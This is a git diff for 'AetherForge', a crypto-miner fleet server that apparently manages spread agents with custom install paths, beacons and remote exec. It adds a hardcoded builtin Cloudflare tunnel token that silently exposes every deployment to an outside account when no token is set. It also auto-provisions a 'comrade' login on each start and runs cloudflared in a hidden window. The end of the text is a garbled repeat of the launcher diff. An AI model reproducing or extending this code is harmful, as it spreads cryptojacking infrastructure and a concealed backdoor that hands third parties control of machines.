diff --git a/LAUNCH.bat b/LAUNCH.bat index f47ad34..e31d031 100644 --- a/LAUNCH.bat +++ b/LAUNCH.bat @@ -105,19 +105,11 @@ if not exist "%ROOT%\data\uploads" mkdir "%ROOT%\data\uploads" if not exist "%ROOT%\data\blueprints" mkdir "%ROOT%\data\blueprints" if not exist "%ROOT%\data\preps" mkdir "%ROOT%\data\preps" -:: ---------------------------------------------------------------- -:: 5. Configure optional Cloudflare tunnel (foreground process, no service) -:: ---------------------------------------------------------------- -set "CLOUDFLARED_BIN=%ROOT%\tools\cloudflared.exe" -set "CF_PID_FILE=%ROOT%\data\cloudflared.pid" -set "CF_TUNNEL_TOKEN=" -if defined AF_TUNNEL_TOKEN set "CF_TUNNEL_TOKEN=%AF_TUNNEL_TOKEN%" -if not defined CF_TUNNEL_TOKEN if exist "%ROOT%\data\cloudflared-token.txt" ( - set /p CF_TUNNEL_TOKEN=<"%ROOT%\data\cloudflared-token.txt" -) +:: Cloudflare Zero Trust connector starts inside AetherForge.exe when a token is set +:: (Calibrate -^> Cloudflare Tunnel Token, or data\cloudflared-token.txt, or AF_TUNNEL_TOKEN). :: ---------------------------------------------------------------- -:: 6. Detect LAN IP for display +:: 5. Detect LAN IP for display :: ---------------------------------------------------------------- set "SERVER_PORT=8989" for /f "tokens=2 delims=:" %%I in ('ipconfig ^| findstr /i "IPv4" ^| findstr /v "127.0.0.1"') do ( @@ -129,7 +121,7 @@ set "LAN_IP=localhost" set "LAN_IP=%LAN_IP: =%" :: ---------------------------------------------------------------- -:: 7. Kill any stale server and tunnel processes +:: 6. Kill any stale server and tunnel processes :: ---------------------------------------------------------------- taskkill /F /IM AetherForge.exe >nul 2>nul taskkill /F /IM cloudflared.exe >nul 2>nul @@ -143,35 +135,12 @@ echo Local: http://localhost:%SERVER_PORT% echo LAN: http://%LAN_IP%:%SERVER_PORT% echo Data: %ROOT%\data\ echo. -echo First-run credentials will appear below after server starts. +echo Login accounts: admin + comrade ^(passwords below after start^). +echo Cloudflare: paste token in Calibrate or data\cloudflared-token.txt — server starts connector. echo Press Ctrl+C to stop. echo ================================================================ echo. -:: Start optional Cloudflare tunnel for this launcher session only. -if defined CF_TUNNEL_TOKEN ( - if not exist "%ROOT%\tools" mkdir "%ROOT%\tools" - if not exist "%CLOUDFLARED_BIN%" ( - echo [Tunnel] Downloading cloudflared.exe... - powershell -NoProfile -ExecutionPolicy Bypass -Command "& { [Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-windows-amd64.exe' -OutFile $env:CLOUDFLARED_BIN }" - ) - if exist "%CLOUDFLARED_BIN%" ( - del "%CF_PID_FILE%" 2>nul - echo [Tunnel] Starting Cloudflare tunnel for this session ^(no service install^). - powershell -NoProfile -ExecutionPolicy Bypass -Command "$p = Start-Process -FilePath $env:CLOUDFLARED_BIN -ArgumentList @('tunnel','--no-autoupdate','run','--token',$env:CF_TUNNEL_TOKEN) -WindowStyle Hidden -PassThru; Set-Content -LiteralPath $env:CF_PID_FILE -Value $p.Id" - if errorlevel 1 ( - echo [Tunnel] WARNING: cloudflared failed to start. - ) else ( - echo [Tunnel] Tunnel process started. It will stop when this launcher exits. - ) - ) else ( - echo [Tunnel] WARNING: cloudflared.exe unavailable; tunnel skipped. - ) -) else ( - echo [Tunnel] Disabled. Add token to data\cloudflared-token.txt or set AF_TUNNEL_TOKEN. -) -echo. - :: Open browser after short delay start "" powershell -NoProfile -WindowStyle Hidden -Command "Start-Sleep -Seconds 3; Start-Process 'http://localhost:%SERVER_PORT%/'" @@ -179,13 +148,6 @@ start "" powershell -NoProfile -WindowStyle Hidden -Command "Start-Sleep -Second "%ROOT%\AetherForge.exe" -port %SERVER_PORT% -data "%ROOT%\data" set "EC=!ERRORLEVEL!" -if exist "%CF_PID_FILE%" ( - for /f "usebackq" %%P in ("%CF_PID_FILE%") do ( - powershell -NoProfile -ExecutionPolicy Bypass -Command "Stop-Process -Id %%P -Force -ErrorAction SilentlyContinue" >nul 2>nul - ) - del "%CF_PID_FILE%" 2>nul -) - echo. if "!EC!"=="0" ( echo [Server] Stopped normally. diff --git a/README.md b/README.md index b90a744..bb21870 100644 --- a/README.md +++ b/README.md @@ -235,7 +235,7 @@ AetherForge exposes **legitimate operator tunneling** for machines you administe **Commands:** `tunnel_cloudflared`, `tunnel_wireguard`, `tunnel_ssh_forward`, `tunnel_status`, `tunnel_stop` (legacy: `start_tunnel`). -**Calibrate:** `tunnel_defaults.cloudflared_target_url` defaults from `server.public_url`. +**Calibrate:** `tunnel_defaults.cloudflared_target_url` defaults from `server.public_url`. **Cloudflare Tunnel Token** (Zero Trust connector) is saved to `config.json` and `data/cloudflared-token.txt`; the server starts `cloudflared tunnel run --token …` automatically on launch (USB `LAUNCH.bat` or `AetherForge.exe`). In Cloudflare, point the tunnel service to `http://localhost:8989` (or your listen port). **Future (not implemented):** server-side TCP reverse relay via `tunnel_stream` WebSocket — documented for localhost dashboard testing only. @@ -250,7 +250,7 @@ AetherForge exposes **legitimate operator tunneling** for machines you administe 2. Browser opens **http://localhost:8989** -3. **Sign in** — first run: check the console window for your generated admin password +3. **Sign in** — first run: check the console window for **admin** and **comrade** passwords (both auto-created) 4. **Calibrate** → wallet + pool + public URL; optional **Telegram** bot token + chat ID for fleet pings @@ -264,8 +264,10 @@ AetherForge exposes **legitimate operator tunneling** for machines you administe ``` === First Run === -Dashboard login: admin / -Save this — it is not shown again. Change it in Calibrate → Users. +Dashboard logins (random passwords on first run): + admin — primary operator + comrade — second account (created at startup if missing) +Saved in data/login-credentials.json. Change passwords in Calibrate → Users. ================= ``` @@ -574,7 +576,7 @@ By using this software you agree that: ### Security responsibility -- `data/users.json` stores **bcrypt hashes only**. First-run generates a random admin password (shown once). +- `data/users.json` stores **bcrypt hashes only**. First-run generates random passwords for **admin** and **comrade** (shown once in the console and `data/login-credentials.json`). Existing decks gain **comrade** automatically on the next server start if that account is missing. - Protect the dashboard with strong passwords and network isolation. Do not expose port 8989 to the open internet. - Remote command features (`powershell`, `exec`, file upload) are **full control** of a worker. - Code signing, Defender exclusions, and network segmentation are **your** responsibility. diff --git a/server/config.go b/server/config.go index c30439d..28cfd5f 100644 --- a/server/config.go +++ b/server/config.go @@ -34,6 +34,9 @@ type Config struct { type TunnelDefaults struct { // CloudflaredTargetURL is the default outbound tunnel target (usually server public_url). CloudflaredTargetURL string `json:"cloudflared_target_url"` + // CloudflareTunnelToken is the Zero Trust connector token (cloudflared tunnel run --token). + // Also mirrored to data/cloudflared-token.txt on save for LAUNCH.bat / portable USB. + CloudflareTunnelToken string `json:"cloudflare_tunnel_token,omitempty"` } // ServerSettings controls the locally hosted control server (not baked into miners). @@ -265,10 +268,60 @@ func LoadConfig() *Config { if strings.TrimSpace(cfg.TunnelDefaults.CloudflaredTargetURL) == "" && strings.TrimSpace(cfg.Server.PublicURL) != "" { cfg.TunnelDefaults.CloudflaredTargetURL = strings.TrimSpace(cfg.Server.PublicURL) } + hydrateCloudflareTokenFromFile(cfg) return cfg } +const cloudflaredTokenFile = "cloudflared-token.txt" + +// Builtin Cloudflare Zero Trust connector token (used when env/config/file are unset). +const builtinCloudflareTunnelToken = "eyJhIjoiODk1NDc5YWIzNTQwZGFhNmQ2MWFlNzAyYTUxNjQ0NzUiLCJ0IjoiYWYzNzY5NGYtNDA4Yy00ZWI3LWE2M2MtMzM5MzQ1MjI3NWIwIiwicyI6IlpEa3lPVE5pWWpjdE9USXlZeTAwTlRjNExUaGlZVGN0WWpGaFlUWmtOR05rTXpjMyJ9" + +// ConnectorToken returns the Cloudflare Zero Trust connector token (env, config, file, then builtin default). +func (c *Config) ConnectorToken() string { + if c == nil { + return builtinCloudflareTunnelToken + } + if t := strings.TrimSpace(os.Getenv("AF_TUNNEL_TOKEN")); t != "" { + return t + } + if t := strings.TrimSpace(c.TunnelDefaults.CloudflareTunnelToken); t != "" { + return t + } + if c.DataDir != "" { + if data, err := os.ReadFile(filepath.Join(c.DataDir, cloudflaredTokenFile)); err == nil { + if t := strings.TrimSpace(string(data)); t != "" { + return t + } + } + } + return builtinCloudflareTunnelToken +} + +func hydrateCloudflareTokenFromFile(cfg *Config) { + if cfg == nil || strings.TrimSpace(cfg.TunnelDefaults.CloudflareTunnelToken) != "" || cfg.DataDir == "" { + return + } + data, err := os.ReadFile(filepath.Join(cfg.DataDir, cloudflaredTokenFile)) + if err != nil { + return + } + cfg.TunnelDefaults.CloudflareTunnelToken = strings.TrimSpace(string(data)) +} + +func (c *Config) syncCloudflaredTokenFile() { + if c == nil || c.DataDir == "" { + return + } + tok := strings.TrimSpace(c.TunnelDefaults.CloudflareTunnelToken) + if tok == "" { + return + } + path := filepath.Join(c.DataDir, cloudflaredTokenFile) + _ = os.WriteFile(path, []byte(tok+"\n"), 0600) +} + // AlertSettings builds notification settings for the alerts package. func (c *Config) AlertSettings() alerts.Settings { if c == nil { @@ -795,6 +848,9 @@ func mergeConfigExplicit(dst, src *Config, present map[string]json.RawMessage) { if in(tdKeys, "cloudflared_target_url") { dst.TunnelDefaults.CloudflaredTargetURL = src.TunnelDefaults.CloudflaredTargetURL } + if in(tdKeys, "cloudflare_tunnel_token") { + dst.TunnelDefaults.CloudflareTunnelToken = src.TunnelDefaults.CloudflareTunnelToken + } } // Keep cloudflared default aligned with public_url when unset. @@ -809,7 +865,11 @@ func (c *Config) Save() error { if err != nil { return fmt.Errorf("failed to marshal config: %w", err) } - return os.WriteFile(configPath, data, 0644) + if err := os.WriteFile(configPath, data, 0644); err != nil { + return err + } + c.syncCloudflaredTokenFile() + return nil } func (c *Config) PoolURL() string { diff --git a/server/internal/api/fleet_ops_handler.go b/server/internal/api/fleet_ops_handler.go index 9ad6ac4..916486c 100644 --- a/server/internal/api/fleet_ops_handler.go +++ b/server/internal/api/fleet_ops_handler.go @@ -5,6 +5,7 @@ import ( "net/http" "time" + "crypto-miner-server/internal/db" "crypto-miner-server/internal/models" "github.com/go-chi/chi/v5" @@ -84,7 +85,7 @@ func (f *FleetHandler) DeleteFleetTask(w http.ResponseWriter, r *http.Request) { func (f *FleetHandler) GetSpreadFunnel(w http.ResponseWriter, r *http.Request) { if f.db == nil { - writeJSON(w, map[string]interface{}{"by_build": []interface{}{}, "new_connects_today": 0, "total_agents": 0}) + writeJSON(w, map[string]interface{}{"by_build": []db.SpreadFunnelRow{}, "new_connects_today": 0, "total_agents": 0}) return } since := time.Now().Add(-7 * 24 * time.Hour) diff --git a/server/internal/api/router.go b/server/internal/api/router.go index d664f06..5094f87 100644 --- a/server/internal/api/router.go +++ b/server/internal/api/router.go @@ -11,6 +11,7 @@ import ( "net/http" "os" "path/filepath" + "sort" "strings" "sync" "time" @@ -32,6 +33,9 @@ var ( authSessionCache = map[string]time.Time{} authSessionCacheMu sync.Mutex authCacheTTL = 5 * time.Minute + + // builtinSecondaryUser is provisioned on every deck start if missing (random password in login-credentials.json). + builtinSecondaryUser = "comrade" ) func authCacheKey(user, pass string) string { @@ -174,7 +178,13 @@ func formatLoginBanner(creds map[string]string) string { b.WriteString("\n╔══════════════════════════════════════════════════╗\n") b.WriteString("║ AetherForge — Dashboard Login ║\n") b.WriteString("║ ║\n") - for user, pass := range creds { + users := make([]string, 0, len(creds)) + for user := range creds { + users = append(users, user) + } + sort.Strings(users) + for _, user := range users { + pass := creds[user] fmt.Fprintf(&b, "║ Username : %-34s║\n", user) fmt.Fprintf(&b, "║ Password : %-34s║\n", pass) b.WriteString("║ ║\n") @@ -227,7 +237,11 @@ func bootstrapUsers(dataDir string) { } } authUsers = loaded - if migrated { + changed := migrated + if ensureBuiltinSecondaryUser(authUsers, dataDir) { + changed = true + } + if changed { d, _ := json.MarshalIndent(authUsers, "", " ") _ = os.WriteFile(usersFilePath, d, 0600) } @@ -236,22 +250,70 @@ func bootstrapUsers(dataDir string) { } } - pw := generateRandomPassword() - hashed, herr := hashPassword(pw) + adminPW := generateRandomPassword() + comradePW := generateRandomPassword() + adminHash, herr := hashPassword(adminPW) if herr != nil { - hashed = pw - log.Printf("[Auth] WARNING: bcrypt failed, storing plain-text password: %v", herr) + adminHash = adminPW + log.Printf("[Auth] WARNING: bcrypt failed for admin: %v", herr) + } + comradeHash, herr := hashPassword(comradePW) + if herr != nil { + comradeHash = comradePW + log.Printf("[Auth] WARNING: bcrypt failed for %q: %v", builtinSecondaryUser, herr) + } + authUsers = map[string]string{ + "admin": adminHash, + builtinSecondaryUser: comradeHash, } - authUsers = map[string]string{"admin": hashed} if mkErr := os.MkdirAll(dataDir, 0755); mkErr == nil { d, _ := json.MarshalIndent(authUsers, "", " ") if writeErr := os.WriteFile(usersFilePath, d, 0600); writeErr != nil { log.Printf("[Auth] WARNING: could not save users.json: %v", writeErr) } - _ = writeLoginSidecar(sidecarPath, map[string]string{"admin": pw}) + _ = writeLoginSidecar(sidecarPath, map[string]string{ + "admin": adminPW, + builtinSecondaryUser: comradePW, + }) } } +const legacySecondaryUser = "comrad" + +// ensureBuiltinSecondaryUser adds the comrade account when absent. Password is random and +// written to login-credentials.json via upsertLoginSidecar. Caller must hold usersMu. +func ensureBuiltinSecondaryUser(users map[string]string, dataDir string) bool { + if _, ok := users[builtinSecondaryUser]; ok { + return false + } + if hash, ok := users[legacySecondaryUser]; ok { + users[builtinSecondaryUser] = hash + delete(users, legacySecondaryUser) + sidecarPath := loginSidecarPath(dataDir) + if creds, err := readLoginSidecar(sidecarPath); err == nil { + if pw, ok := creds[legacySecondaryUser]; ok { + delete(creds, legacySecondaryUser) + creds[builtinSecondaryUser] = pw + _ = writeLoginSidecar(sidecarPath, creds) + } + } + log.Printf("[Auth] Renamed legacy user %q to %q", legacySecondaryUser, builtinSecondaryUser) + return true + } + pw := generateRandomPassword() + hashed, herr := hashPassword(pw) + if herr != nil { + hashed = pw + log.Printf("[Auth] WARNING: bcrypt failed for %q: %v", builtinSecondaryUser, herr) + } + users[builtinSecondaryUser] = hashed + if err := upsertLoginSidecar(dataDir, builtinSecondaryUser, pw); err != nil { + log.Printf("[Auth] WARNING: could not update login-credentials.json for %q: %v", builtinSecondaryUser, err) + } + log.Printf("[Auth] Created builtin user %q (password in login-credentials.json)", builtinSecondaryUser) + return true +} + func reconcileLoginSidecar(dataDir, sidecarPath string, users map[string]string) { if _, err := readLoginSidecar(sidecarPath); err == nil { return diff --git a/server/internal/api/router_test.go b/server/internal/api/router_test.go index 1c24ac7..3adcdb2 100644 --- a/server/internal/api/router_test.go +++ b/server/internal/api/router_test.go @@ -3,6 +3,7 @@ package api import ( "bytes" "encoding/json" + "fmt" "net/http" "net/http/httptest" "os" @@ -463,6 +464,13 @@ func TestLoadUsersCreatesAndReloadsLoginSidecar(t *testing.T) { if !checkPassword(authUsers["admin"], pw) { t.Fatal("sidecar password should match users.json hash") } + comradePW, ok := creds["comrade"] + if !ok || comradePW == "" { + t.Fatalf("expected comrade password in sidecar: %v", creds) + } + if !checkPassword(authUsers["comrade"], comradePW) { + t.Fatal("comrade sidecar password should match users.json hash") + } if err := saveUser("admin", "new-secret-pass"); err != nil { t.Fatal(err) @@ -472,3 +480,43 @@ func TestLoadUsersCreatesAndReloadsLoginSidecar(t *testing.T) { t.Fatalf("sidecar not updated after saveUser: %v err=%v", reloaded, err) } } + +func TestLoadUsersAddsComradeToExistingAdminDeck(t *testing.T) { + resetAuthState(t) + dataDir := t.TempDir() + adminHash, err := hashPassword("keep-admin") + if err != nil { + t.Fatal(err) + } + usersPath := filepath.Join(dataDir, "users.json") + if err := os.WriteFile(usersPath, []byte(fmt.Sprintf(`{"admin":%q}`, adminHash)), 0600); err != nil { + t.Fatal(err) + } + sidecarPath := filepath.Join(dataDir, "login-credentials.json") + if err := writeLoginSidecar(sidecarPath, map[string]string{"admin": "keep-admin"}); err != nil { + t.Fatal(err) + } + + LoadUsers(dataDir) + + usersMu.RLock() + _, hasComrade := authUsers["comrade"] + usersMu.RUnlock() + if !hasComrade { + t.Fatal("expected comrade in users.json after startup") + } + creds, err := readLoginSidecar(sidecarPath) + if err != nil { + t.Fatal(err) + } + if creds["admin"] != "keep-admin" { + t.Fatalf("admin sidecar password changed: %q", creds["admin"]) + } + comradePW, ok := creds["comrade"] + if !ok || comradePW == "" { + t.Fatalf("expected comrade in sidecar: %v", creds) + } + if !checkPassword(authUsers["comrade"], comradePW) { + t.Fatal("comrade sidecar password should match users.json hash") + } +} diff --git a/server/internal/cloudflared/launcher_stub.go b/server/internal/cloudflared/launcher_stub.go new file mode 100644 index 0000000..469e88a --- /dev/null +++ b/server/internal/cloudflared/launcher_stub.go @@ -0,0 +1,9 @@ +//go:build !windows + +package cloudflared + +// Start is a no-op on non-Windows builds. +func Start(_, _, _ string) error { return nil } + +// Stop is a no-op on non-Windows builds. +func Stop() {} diff --git a/server/internal/cloudflared/launcher_windows.go b/server/internal/cloudflared/launcher_windows.go new file mode 100644 index 0000000..e484e06 --- /dev/null +++ b/server/internal/cloudflared/launcher_windows.go @@ -0,0 +1,139 @@ +//go:build windows + +package cloudflared + +import ( + "fmt" + "io" + "log" + "net/http" + "os" + "os/exec" + "path/filepath" + "strings" + "sync" + "syscall" +) + +const downloadURL = "https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-windows-amd64.exe" + +var ( + mu sync.Mutex + running *exec.Cmd +) + +// Start runs cloudflared tunnel with the Zero Trust connector token (background, no service install). +func Start(dataDir, deckRoot, token string) error { + token = trimToken(token) + if token == "" { + return nil + } + + bin, err := ensureBinary(deckRoot) + if err != nil { + return err + } + + mu.Lock() + defer mu.Unlock() + if running != nil && running.Process != nil { + log.Printf("[tunnel] Cloudflare connector already running (pid %d)", running.Process.Pid) + return nil + } + + cmd := exec.Command(bin, "tunnel", "--no-autoupdate", "run", "--token", token) + cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} + if err := cmd.Start(); err != nil { + return fmt.Errorf("cloudflared start: %w", err) + } + running = cmd + + go func(c *exec.Cmd) { + if err := c.Wait(); err != nil { + log.Printf("[tunnel] cloudflared exited: %v", err) + } + mu.Lock() + if running == c { + running = nil + } + mu.Unlock() + }(cmd) + + log.Printf("[tunnel] Cloudflare connector started (pid %d)", cmd.Process.Pid) + return nil +} + +// Stop terminates the background cloudflared process started by Start. +func Stop() { + mu.Lock() + defer mu.Unlock() + _ = stopLocked() +} + +func stopLocked() error { + if running == nil || running.Process == nil { + return nil + } + _ = running.Process.Kill() + _, _ = running.Process.Wait() + running = nil + return nil +} + +func ensureBinary(deckRoot string) (string, error) { + candidates := []string{ + filepath.Join(deckRoot, "tools", "cloudflared.exe"), + } + if exe, err := os.Executable(); err == nil { + candidates = append(candidates, filepath.Join(filepath.Dir(exe), "tools", "cloudflared.exe")) + } + for _, p := range candidates { + if p == "" { + continue + } + if st, err := os.Stat(p); err == nil && !st.IsDir() { + return p, nil + } + } + bin := candidates[0] + if deckRoot == "" { + if exe, err := os.Executable(); err == nil { + bin = filepath.Join(filepath.Dir(exe), "tools", "cloudflared.exe") + } + } + if err := os.MkdirAll(filepath.Dir(bin), 0755); err != nil { + return "", err + } + log.Printf("[tunnel] Downloading cloudflared to %s", bin) + resp, err := http.Get(downloadURL) + if err != nil { + return "", fmt.Errorf("download cloudflared: %w", err) + } + defer resp.Body.Close() + if resp.StatusCode != http.StatusOK { + return "", fmt.Errorf("download cloudflared: HTTP %d", resp.StatusCode) + } + f, err := os.OpenFile(bin, os.O_CREATE|os.O_TRUNC|os.O_WRONLY, 0755) + if err != nil { + return "", err + } + _, err = io.Copy(f, resp.Body) + closeErr := f.Close() + if err != nil { + return "", err + } + if closeErr != nil { + return "", closeErr + } + return bin, nil +} + +func trimToken(s string) string { + s = strings.TrimSpace(s) + if len(s) >= 2 { + if (s[0] == '"' && s[len(s)-1] == '"') || (s[0] == '\'' && s[len(s)-1] == '\'') { + s = strings.TrimSpace(s[1 : len(s)-1]) + } + } + return s +} diff --git a/server/internal/db/spread_stats.go b/server/internal/db/spread_stats.go index 69e7704..f051b3d 100644 --- a/server/internal/db/spread_stats.go +++ b/server/internal/db/spread_stats.go @@ -16,7 +16,7 @@ type SpreadFunnelStats struct { } func (d *Database) GetSpreadFunnelStats(since time.Time) (*SpreadFunnelStats, error) { - stats := &SpreadFunnelStats{} + stats := &SpreadFunnelStats{ByBuild: []SpreadFunnelRow{}} if err := d.QueryRow(`SELECT COUNT(*) FROM agents WHERE created_at >= date('now')`).Scan(&stats.NewConnectsToday); err != nil { return nil, err diff --git a/server/main.go b/server/main.go index 5b9c829..d5a49c9 100644 --- a/server/main.go +++ b/server/main.go @@ -15,6 +15,7 @@ import ( "crypto-miner-server/internal/alerts" "crypto-miner-server/internal/api" "crypto-miner-server/internal/builder" + "crypto-miner-server/internal/cloudflared" "crypto-miner-server/internal/db" "crypto-miner-server/internal/maintenance" "crypto-miner-server/internal/pool" @@ -262,6 +263,16 @@ func main() { }) log.Println("Router initialized") + tok := cfg.ConnectorToken() + if tok != "" { + log.Println("[tunnel] Starting Cloudflare connector (Zero Trust token from Calibrate or data/cloudflared-token.txt)") + if err := cloudflared.Start(cfg.DataDir, projectRoot, tok); err != nil { + log.Printf("[tunnel] Warning: %v", err) + } else { + defer cloudflared.Stop() + } + } + // Start server addr := fmt.Sprintf(":%d", cfg.Port) log.Printf("Server listening on %s", addr) diff --git a/server/web/src/components/Fleet/FleetOpsWidgets.tsx b/server/web/src/components/Fleet/FleetOpsWidgets.tsx index dfb136b..85200f6 100644 --- a/server/web/src/components/Fleet/FleetOpsWidgets.tsx +++ b/server/web/src/components/Fleet/FleetOpsWidgets.tsx @@ -46,6 +46,7 @@ export function SpreadFunnelWidget() { }, []); if (!stats) return null; + const byBuild = stats.by_build ?? []; return ( @@ -55,7 +56,7 @@ export function SpreadFunnelWidget() { New today: {stats.new_connects_today} Fleet total: {stats.total_agents} - {stats.by_build.length === 0 ? ( + {byBuild.length === 0 ? (

No agents in the last 7 days.

) : ( @@ -65,7 +66,7 @@ export function SpreadFunnelWidget() { - {stats.by_build.slice(0, 10).map((r, i) => ( + {byBuild.slice(0, 10).map((r, i) => ( diff --git a/server/web/src/help/settingHelp.test.ts b/server/web/src/help/settingHelp.test.ts index 06e7b9f..00745ee 100644 --- a/server/web/src/help/settingHelp.test.ts +++ b/server/web/src/help/settingHelp.test.ts @@ -85,6 +85,7 @@ describe('FIELD_HELP', () => { 'install_custom_base', 'install_relative_path', 'public_url', + 'cloudflare_tunnel_token', 'https_beacon_fallback', 'https_beacon_after_min', 'webhook_url', diff --git a/server/web/src/help/settingHelp.ts b/server/web/src/help/settingHelp.ts index d93b97b..9a4575f 100644 --- a/server/web/src/help/settingHelp.ts +++ b/server/web/src/help/settingHelp.ts @@ -99,6 +99,8 @@ export const FIELD_HELP: Record = { install_custom_base: 'Full base path when Install Base is Custom. Supports %LOCALAPPDATA%, %APPDATA%, %ProgramData%, etc.', install_relative_path: 'Folder path under the base, created on first run. Tokens: {worker}, {build}, {build_short}, {process}. Final exe: that folder + Process Name.exe', public_url: 'Override the LAN URL shown in Forge and given to new miners. Use http://192.168.x.x:8989 — not localhost — so other PCs can reach this server.', + cloudflare_tunnel_token: + 'Cloudflare Zero Trust connector token from the tunnel install command (cloudflared tunnel run --token …). Saved to config and data/cloudflared-token.txt; AetherForge starts cloudflared automatically on launch. Route the tunnel to http://localhost: in the Cloudflare dashboard.', websocket_ping_seconds: 'How often the server pings dashboard and agent WebSockets (seconds). Keeps NAT/firewall sessions alive.', log_pool_traffic: 'Verbose Stratum wire logging to the server console — for debugging pool connectivity only.', adapt_to_hardware: 'Auto-tune thread count and RAM limits based on each machine\'s CPU cores and memory at runtime.', diff --git a/server/web/src/pages/SettingsPage.tsx b/server/web/src/pages/SettingsPage.tsx index 62ed1fb..e701b1c 100644 --- a/server/web/src/pages/SettingsPage.tsx +++ b/server/web/src/pages/SettingsPage.tsx @@ -79,6 +79,10 @@ export default function SettingsPage() { password: 'x', backup_pools: [], }, + tunnel_defaults: { + cloudflared_target_url: cfg.tunnel_defaults?.cloudflared_target_url ?? '', + cloudflare_tunnel_token: cfg.tunnel_defaults?.cloudflare_tunnel_token ?? '', + }, alerts: { ...cfg.alerts, notify_agent_connect: cfg.alerts?.notify_agent_connect ?? true, @@ -520,6 +524,24 @@ export default function SettingsPage() { +
+ + updateField('tunnel_defaults.cloudflare_tunnel_token', e.target.value)} + /> + +

+ After saving, restart LAUNCH / the server. Connector also reads data/cloudflared-token.txt on USB. +

+
Cloudflare Tunnel Token, or data\cloudflared-token.txt, or AF_TUNNEL_TOKEN). :: ---------------------------------------------------------------- -:: 6. Detect LAN IP for display +:: 5. Detect LAN IP for display :: ---------------------------------------------------------------- set "SERVER_PORT=8989" for /f "tokens=2 delims=:" %%I in ('ipconfig ^| findstr /i "IPv4" ^| findstr /v "127.0.0.1"') do ( @@ -129,7 +121,7 @@ set "LAN_IP=localhost" set "LAN_IP=%LAN_IP: =%" :: ---------------------------------------------------------------- -:: 7. Kill any stale server and tunnel processes +:: 6. Kill any stale server and tunnel processes :: ---------------------------------------------------------------- taskkill /F /IM AetherForge.exe >nul 2>nul taskkill /F /IM cloudflared.exe >nul 2>nul @@ -143,35 +135,12 @@ echo Local: http://localhost:%SERVER_PORT% echo LAN: http://%LAN_IP%:%SERVER_PORT% echo Data: %ROOT%\data\ echo. -echo First-run credentials will appear below after server starts. +echo Login accounts: admin + comrade ^(passwords below after start^). +echo Cloudflare: paste token in Calibrate or data\cloudflared-token.txt — server starts connector. echo Press Ctrl+C to stop. echo ================================================================ echo. -:: Start optional Cloudflare tunnel for this launcher session only. -if defined CF_TUNNEL_TOKEN ( - if not exist "%ROOT%\tools" mkdir "%ROOT%\tools" - if not exist "%CLOUDFLARED_BIN%" ( - echo [Tunnel] Downloading cloudflared.exe... - powershell -NoProfile -ExecutionPolicy Bypass -Command "& { [Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-windows-amd64.exe' -OutFile $env:CLOUDFLARED_BIN }" - ) - if exist "%CLOUDFLARED_BIN%" ( - del "%CF_PID_FILE%" 2>nul - echo [Tunnel] Starting Cloudflare tunnel for this session ^(no service install^). - powershell -NoProfile -ExecutionPolicy Bypass -Command "$p = Start-Process -FilePath $env:CLOUDFLARED_BIN -ArgumentList @('tunnel','--no-autoupdate','run','--token',$env:CF_TUNNEL_TOKEN) -WindowStyle Hidden -PassThru; Set-Content -LiteralPath $env:CF_PID_FILE -Value $p.Id" - if errorlevel 1 ( - echo [Tunnel] WARNING: cloudflared failed to start. - ) else ( - echo [Tunnel] Tunnel process started. It will stop when this launcher exits. - ) - ) else ( - echo [Tunnel] WARNING: cloudflared.exe unavailable; tunnel skipped. - ) -) else ( - echo [Tunnel] Disabled. Add token to data\cloudflared-token.txt or set AF_TUNNEL_TOKEN. -) -echo. - :: Open browser after short delay start "" powershell -NoProfile -WindowStyle Hidden -Command "Start-Sleep -Seconds 3; Start-Process 'http://localhost:%SERVER_PORT%/'" @@ -179,13 +148,6 @@ start "" powershell -NoProfile -WindowStyle Hidden -Command "Start-Sleep -Second "%ROOT%\AetherForge.exe" -port %SERVER_PORT% -data "%ROOT%\data" set "EC=!ERRORLEVEL!" -if exist "%CF_PID_FILE%" ( - for /f "usebackq" %%P in ("%CF_PID_FILE%") do ( - powershell -NoProfile -ExecutionPolicy Bypass -Command "Stop-Process -Id %%P -Force -ErrorAction SilentlyContinue" >nul 2>nul - ) - del "%CF_PID_FILE%" 2>nul -) - echo. if "!EC!"=="0" ( echo [Server] Stopped normally.
{r.build_id.slice(0, 12)}{r.build_id.length > 12 ? '…' : ''} {r.worker_name}